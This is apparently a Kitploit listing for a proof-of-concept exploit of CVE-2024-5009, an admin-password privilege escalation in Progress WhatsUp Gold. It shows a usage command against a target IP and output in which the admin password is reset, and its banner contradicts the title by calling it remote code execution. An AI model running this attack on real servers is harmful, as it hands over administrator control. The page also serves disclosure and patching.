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CVE-2024-5009 — Exploit for CVE-2024-5009 | Kitploit
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CVE-2024-5009

Exploit for CVE-2024-5009

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CVE-2024-5009

PoC for Progress WhatsUp Gold SetAdminPassword Privilege Escalation (CVE-2024-5009)

A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/

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Usage

root@kitploit:~
python3 CVE-2024-5009.py --target https://192.168.0.231/

 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |

        (*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-5009)

        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)

        (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/



(^_^) Prepare for the Pwnage (^_^)

(*) Generated random password is: e9513bc41e2a9acf
(*) Escalating...
(+) Escalation done, new admin password is: e9513bc41e2a9acf

Mitigations

Update to the latest version or mitigate by following the instructions within the Progress Advisory

  • https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024

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This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

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